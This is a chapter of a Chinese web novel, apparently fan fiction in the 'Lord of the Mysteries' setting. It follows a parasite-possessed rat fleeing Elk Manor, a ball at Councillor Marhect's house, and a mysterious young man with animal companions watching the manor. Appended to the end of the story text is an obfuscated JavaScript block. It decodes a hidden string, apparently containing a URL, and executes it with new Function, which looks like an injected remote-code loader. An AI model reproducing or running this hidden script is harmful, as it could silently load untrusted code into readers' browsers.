贝克兰德西北郊区,麋鹿庄园。
这是一座有着上百年历史的庄园了,可以说比大部分新晋贵族的年龄还要大。
但是时运不济人,随着国家内部财富与权力的更迭,这座庄园穷困潦倒的旧主人,某位不知名子爵,被迫出售了这座原本属于家族的基础产业。
莫里·马赫特便收购了麋鹿庄园,这位四十来岁便成为了王国下院议员的鲁恩绅士,在退伍后便投身政坛,一路风生水起地走到议会,有着出身大律师家庭的妻子,还有一位……很高傲又胆大的女儿。
马赫特议员向来很宠爱自己的独生女,所以当海柔尔到庄园度假,又被发疯的老鼠咬伤后,立刻将自己的女儿接回了伯克伦德街的别墅。
至于那只老鼠,仆人们并没能抓到它,海柔尔也不愿意让这件事情闹大,一切便不了了之。
直到今夜,这只袭击了海柔尔的老鼠,曾经被马赫特家的女儿,悄悄供养的“老师”,似乎快撑不住了。
灰毛光滑近乎发亮的老鼠,攀爬至窗户的边缘,它的体积远超普通的老鼠,看上去几乎快赶上普通的猫了。
老鼠猩红的眼睛像是摇曳的烛火,里面充斥着难以分离的野性与情感,最后残存的一丝理智,时隐时现,似乎随时都可能消失。
窗户并未关紧,夏夜的风和煦地从外面吹进来,在绯红月光下,这只老鼠在窗口爬上爬下,重复了数次这样的过程,仿佛就连它自己,也搞不清楚到底想要做什么一般。
它的嘴里时而发出喃喃低语的声音,因为语句太过破碎、模糊,听上去就像是含糊的梦呓,有时候,它发出的又不是详细的语言,而是跟普通老鼠无异的“吱吱”声。
每当这只体型巨大的老鼠“吱吱”叫的时候,厨房的某处屋角就会传来回应,然后便有灰色的老鼠从阴影里窜出,如同朝拜般向着窗口支起身子。
这些老鼠的眼神,几乎是完整地从大老鼠身上复刻出来的,然而它们似乎更加经受不住疯狂。
啃噬的声音在屋里响起,此起彼伏。
这只老鼠贴着桌角啃咬木头,那只靠近椅子咬在椅腿上,墙边与装着东西的布袋也没有放过,所有能被尖牙磨过的东西,统统都趴上了眼睛猩红的老鼠。
而最大的老鼠不断来回爬动,贴着离开别墅的窗户边打转,这样的过程持续了很久,直到椅子腿歪斜得太严重,向着地面倾斜倒下。
“咚!”
这样的声音似乎惊醒了窗边茫然的巨大老鼠,它发出相当尖锐的一声“吱”,随即扭头窜向了窗户外面的方向,掉进了一片种植着三色堇的花圃中。
越来越多的尖叫声从屋里响起,短促却并不高昂,似是在呼应着那只大老鼠的声音。
很快,大批大批的老鼠就爬上了窗口,彼此踩着脑袋,争先恐后地跳向了窗外,想要去追随那只率先离开的大老鼠。
仅有几只老鼠还留在屋内,它们顺应着本能的冲动,不断啃噬厨房内的家具与粮食,享受着一场属于老鼠们的“盛宴”。
椅子砸在地面的声音,吸引了房间外一位进行清扫的女仆,她胆怯地将门打开一条缝隙,往里面窥探的时候,却没有看到过少东西。
这个脸上带着点雀斑的年轻女仆松了口气,又缓缓合上门缝,却没看到在门关紧前,一双又一双鲜红到近乎发光的眼睛,朝着门边的方向转来。
——
伯克伦德街39号。
马赫特议员的家中举行了一场舞会。
莫里·马赫特又穿上了那身方正而精神的橄榄绿军服,上面挂着橘红色的亮眼绶带,佩戴了战斗勋章。
马赫特议员明晃晃地摆出自己军方的出身,那么这场舞会受到邀请的客人,大多数都有着同样的倾向,与军方关系密切。
他身旁站着自己的夫人莉亚娜,这位人到中年却仍然保养得当的贵妇人,穿着露出双肩的浅色长裙,随同自己的丈夫与客人们寒暄。
当道恩·唐泰斯一身正装从外面走进来时,马赫特议员非常热情地接待了他,对自己这位声名鹊起的邻居露出宽慰的笑容,欢迎起这位前往南大陆“做生意”,并成功归来的旅行家。
道恩笑着回复起马赫特议员的话题,主动提及自己送出的礼物,让马赫特议员的心情更好了——在出发前他就随口讲过对河谷葡萄酒的喜爱,没想到对方真的带回鲁恩当作礼物,这样的识相让马赫特议员对道恩更加看好。
不过道恩略略扫视大厅一眼,就问起了另一件事:“海柔尔小姐不在?已经去女子公学读书了吗?”
涉及到女儿的问题,莉亚娜夫人不禁面露愁容:“没有,她只是生病了,公学要到九月才去。”
在道恩顺势的询问下,马赫特议员半是无奈,半是苦恼地解释起来,郊外庄园出现了发疯的老鼠,袭击了他的女儿。
伤口还没彻底愈合,海柔尔也一直心情低落,马赫特议员就没有让她也跟着出席今晚的舞会。
这是可以理解的,一位与马赫特家关系还算不错的客人,就知道此时不应该继续往下问了。
所以道恩只是关心了几句海柔尔的医治情况,按照几人共同的信仰,在胸口顺时针点了四下,祈祷女神的庇佑后,便与主人家结束了交流。
他思考着这件事情,走进大厅,等待其余的客人到来。
但克莱恩并非什么事情都没有做。
悄然间,一阵幻境出现在卧室内海柔尔的身边,在没有非凡者的舞会场合下,即使克莱恩再大胆行动,也不会引起多少注意。
“诡法师”作为半神,本就初步掌握了少许隐秘的力量,如果再被人发现,那就说不过去了。
三楼卧室内,失魂落魄的海柔尔在看到门边走进老鼠的时候,心情甚至是很惊喜的,但是随即便被诸多猩红眼睛的老鼠吓了一跳。
等到她从幻影中回过神来,通过项链发动“解密学者”的能力,海柔尔察觉到一丝异常,立刻猜测到是有人盯上了自己的老师。
只是片刻犹豫,海柔尔就吩咐门外的仆人不要打扰自己休息,然后换上了便于出行的猎装,她临时乘坐马车要前往城外的麋鹿庄园,想去提醒自己的老师。
对于这样的结果,正在大厅里与相识客人攀谈的道恩,只是微笑着抿下一口葡萄酒。
——
麋鹿庄园外,一个黑袍黑卷发的青年,坐在一棵树梢上,望着庄园别墅的方向叹了口气:
“是个寄生者?可惜不是帕列斯啊,祂难道不知道我很想他吗?”
一只右眼周围带有白色绒毛的猫头鹰,背对着青年也望着别墅方向。听到青年的叹气,猫头鹰将脑袋转了一百八十度看过来,然后回答道:
“寄生者也不错,还是个因为寄生老鼠太久,濒临失控的。”
“可惜寄生在鸟类身上的经历,并没有影响到卓娅的精神情况,我可是刻意从魔药里删除了那部分的知识……”
猫头鹰低笑了一声,因为物种原因,它笑起来的时候,仿佛正有怪物发出了尖锐的嚎哭。
它似乎对青年的话很是不屑:“我是觉得魔药知识只是用来糊弄那些傻子的,卓娅的位格毕竟不同,祂也不是真正‘消化’了魔药。”
青年的手轻轻点在膝盖上:“有道理,祂的状态更像是……”
一只带有黑眼圈的松鼠抢答了这句话:“更接近‘放牧’了非凡特性。卓娅会这种小伎俩我也不意外,毕竟本体给的记忆里,也包含一些过去的事情……”
猫头鹰和青年同时转过头来,盯着那只松鼠。
“我说错什么了?萨斯利尔跟卓娅的关系很密切,你们不都知道的。”松鼠甩动两下毛茸茸的大尾巴,懒懒地趴在树干上,不过看它有意绷紧的后腿,随时都可能往下方的灌木丛跳去。
猫头鹰发出一声含糊的鸣叫,将头转了回去。
青年也显得一脸无趣:“听你自满的语气,我以为又有什么新消息呢,结果不还是我们都知道的那些。”
顿了顿,他忽然间抬手,抓住了那只松鼠——松鼠的反应还是慢了半拍,因为被偷走了“活动身体”的念头,它没能直接跳下树枝,落向地面。
“要不你再去试探一下那位‘寄生者’?”
“还有那个必要吗?”松鼠看上去并不在乎自己被别人攒在手里,悠闲地趴在青年的拳头间,“你已经看够了,不是吗?”
“好吧,确实没有这种必要了。”青年将松鼠随手抛向一旁,看着它在空气中转了一圈,精准地落进下方缓冲的灌木丛里。
猫头鹰又发出哭嚎般的轻笑:“放心去吧,我们都在你后面看着呢,你要是吃不下,我们不介意帮你分担那只老鼠。”
越来越多的鸟类从附近的树林间跃出,包括那些并不属于夜行的种类,它们颇为人性化的眼神似笑非笑,都在右眼处有着非常一致的共同点,或白或黑的眼圈。
空气似乎都变得有些凝重,窃取距离来到花园外的青年,观察起花园内的动静,那只寄生在老鼠身上的雅各家后裔,正在和一位身份不明的家伙交手。
“有人先我们一步了,有点意思。诡法师?”
他身上还带着“隐秘”的眷顾……真巧啊。
这个分身正了正一下右眼的单片眼镜,察觉到一丝难以言说的疑虑。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();